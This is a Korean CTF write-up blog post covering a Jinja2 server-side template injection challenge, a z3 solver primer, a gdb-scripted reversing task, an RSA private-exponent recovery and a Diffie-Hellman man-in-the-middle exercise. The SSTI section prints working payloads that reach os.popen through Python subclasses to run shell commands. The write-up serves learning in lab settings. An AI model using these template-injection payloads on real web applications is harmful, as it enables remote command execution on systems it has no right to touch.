위 그림 참고해서 SSTI 취약점을 확인해보자

jinja2 엔진을 사용한다. SSTI는 엔진에 맞는 라이트업을 찾아보았다.
참고자료 정리는 접은 글
SSTI Reference
SSTI
템플릿을 사용하여 웹 어플리케이션을 구동
-> 이때 user input이 템플릿 구문으로 인식되면 RCE까지 이어질 수 있는 취약점
템플릿이 여러개라서 문제마다 구문이 다름 보통은 {{4*4}}이던데 이 문제는 대괄호 [[...]] 구문은 값을 출력해줌 %나 #을 이요해서 주석, 반복문 등으로도 구문 삽입 가능
아래서 "".__class__에 접근할 건데 이게 뭐냐면 python 특수 attributes중에 하나 아래서는 클래스의 __base__를 참조했는데 class object에 접근
그리고 그걸 다시 subclasses()로 받으면 object의 서브 클래스 목록을 출력받을 수 있다
이중에서 원하는 클래스 끌어다가 RCE 가능
보통은 109 index 값 가져와서 popen으로 명령어 실행
109 index는 codecs.IncrementalDecoder
[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read() ]]

[[ "".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('tac flag').read() ]]

이렇게 하면 flag가 나온다.
문제를 조건에 맞게 해결할 때 사용하는 라이브러리
from z3 import *
s = Solver()
일단 Solver()로 인스턴스 생성
x = Int('x')
s.add(x > 0)
s.add(x < 10)
add()로 제약 조건 추가
check()로 해당 조건으로 문제가 해결되는지 판단
sat(가능) unsat(불가능) unknown(몰라)
if s.check() == sat:
m = s.model()
print(m[x])
sat일 시(가능하다면) model()로 해 반환
추가 기능은 코드로 한 번에 정리
# push()와 pop(), 스택 관리
s.push() # 현재 상태 저장
s.add(x == 5)
s.pop() # 이전 상태로 복원
# reset() 초기화
s.reset()
# assertions(), 제약 조건 반환
for assertion in s.assertions():
print(assertion)
# statistics() 성능 통계
print(s.statistics())
# unsat_core() 불만족하는 제약 조건 반환(항상 최소한으로)
# proof() 불만족의 증명 생성
그냥 읽으라고 한다
설명에 script 쓰라고 하는데.. 안 써봐서 약간의 노가다를 각오하고 풀고 라업 참고해서 배워보려한다(변명하자면 script 예시가 잘 안 보여서 어떻게 쓰는지 숙지가 안됐다)

어떤 연쇄적인 리스트에 대해 malloc 해주고 append_list하는 코드이다.
append_list 함수를 읽어보자.
__int64 unknown_func1()
{
return (unsigned int)cnt;
}
cnt를 return한다
__int64 unknown_func2()
{
int v1; // [rsp+0h] [rbp-4h]
return (unsigned int)(9 * (3 * (v1 + 5) - 7));
}
v1에 대한 계산값을 출력한다.
__int64 generate_flag()
{
unsigned int v1; // [rsp+0h] [rbp-4h]
cnt = v1;
return v1 % 0x4A + 48;
}
v1에 대한 계산값을 출력한다.
QWORD *append_list()
{
_QWORD *result; // rax
_QWORD *v1; // [rsp+10h] [rbp-10h]
char flag; // [rsp+1Fh] [rbp-1h]
unknown_func1();
unknown_func2();
flag = generate_flag();
v1 = malloc(0x10uLL);
*(_BYTE *)v1 = flag;
v1[1] = 0LL;
if ( tail_node )
*(_QWORD *)(tail_node + 8) = v1;
result = v1;
tail_node = (__int64)v1;
return result;
}
위에서 봤던 generate_flag는 v1에 저장된다. malloc으로 할당되는 v1을 동적분석하며 관찰해봐야 한다.
v1으로 받는 값들을 64번.. 관찰해보면 된다.

함수 BP 걸고 내부로 들어가보자

+72에 mov rax, QW rbp-0x10로 flag를 v1(rax)으로 옮기는 거 같다. 그 다음 줄은 76에 bp를 걸어보자

rax값은 0x4d이다. 하나씩 모아보자..
한 16번쯤 하면 공부 열심히 해야겠다는 생각이 든다.

라업 코드를 보니 아래와 같았다. 주석은 내가 추가하면서 코드 이해했다.
# gdb -q -x script1.py
# gdb 라이브러리
import gdb
ge = gdb.execute
gp = gdb.parse_and_eval
# gdb 실행
ge("file ./main")
# gdb.Breakpoint로 중단점 설정
class check_generated_flag(gdb.Breakpoint):
def __init__(self, address):
super(check_generated_flag, self).__init__(spec=f"*{address}", type=gdb.BP_BREAKPOINT)
#cnt가 카운트 개수인 거 같다. ida 분석하면서도 있었던 변수
self.hit_cnt = 0
self.flag = ""
def stop(self):
#rax값을 읽는다. 0xff를 해서 ax만 남기는 거 같다.
ax = int(gp("$rax")) & 0xFF
#flag에 ascii값 추가
self.flag += chr(ax)
self.hit_cnt += 1
#count 64개 채웠으면 다 찾은 거니까 stop
if self.hit_cnt >= 64:
print("input:", self.flag)
return False
# 여기 주소 뭐지 -> 아래서 후술
pie_base = 0x555555554000
check_generated_flag(pie_base + 0x149F)
ge("run <<< asdf")
exit()
pie_base에 +0x149f(오프셋이다)는 아래 주소이다.


generate_flag 바로 이후 명령이다.
gdb로 코드영역 pie base 주소는 code라고 적어주면 된다.
from Crypto.Util.number import *
from flag import flag
p = bytes_to_long(flag)
assert isPrime(p)
q = getPrime(256)
d = pow(65537, -1, (p - 1) * (q - 1))
print(d)
# 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073
p는 소수
어떤 거 구해서 마지막에 long_to_bytes하면 그게 flag
de=1(mod pq)
이걸 좀 풀어서 쓰면
de-1=n(q-1)(p-1)이다(n은 자연수)
factorint로 소인수분해 하면 아래와 같다.

일단 가장 큰 수는 256비트이기 때문에 조합할 경우의 수가 많지 않다.
그래서 직접 prime인지 체크해봤더니 모두 false -> n에 들어가는 인수이다.

ai의 도움을 받아 가장 큰 인수 빼고 코드를 짜보면…
from itertools import combinations
from sympy import isprime
def find_valid_p(n_factors):
valid_p = set()
factors = []
for base, exp in n_factors.items():
factors.extend([base] * exp)
for r in range(1, len(factors) + 1):
for combo in combinations(factors, r):
p = 1
for factor in combo:
p *= factor
if p % 2 == 0 and isprime(p + 1):
valid_p.add(p)
return sorted(valid_p)
n_factors = {
2: 3, 3: 1, 5: 2, 37: 1, 1117: 1, 4029461: 1,
1403014978139: 1, 284368748316481195117: 1
}
valid_p = find_valid_p(n_factors)
print(valid_p)
가능한 인수들을 모두 출력해준다.

위에 넣고 p-1을 p로 바꾼 후 long_to_bytes하여 경우의 수를 모두 출력해주면, DH 플래그가 나온다.
다 풀고 라업 봤더니 나머지 기호로 예쁘게 풀었다(…)
아마도 중간자 공격을 말하는 것 같다.
접속해보면 이렇게 intercept하고 send할 수 있는 형태이다.
| Alice(개인키 a) |
me |
Bob |
|
| shared secret=K1-> |
intercept-> |
send-> |
shared secret=K2 |
| shared secret=K1 |
<- send |
<- intercept |
<- shared secret=K2 |
iv, ciphertext 이것 역시 K1으로 만들어짐 |
|
|
|
이러면 구해야 할 값은 K1이다. pow(alice가 처음 보낸 값,alice에게 보낼 때 사용한 key,p)하면 K1을 구할 수 있다. 내가 쓸 key와 내용을 random으로 만들어준다.


deriving symmetric keys에서 사용했던 코드 살짝 바꿔서 플래그를 구하면 된다.
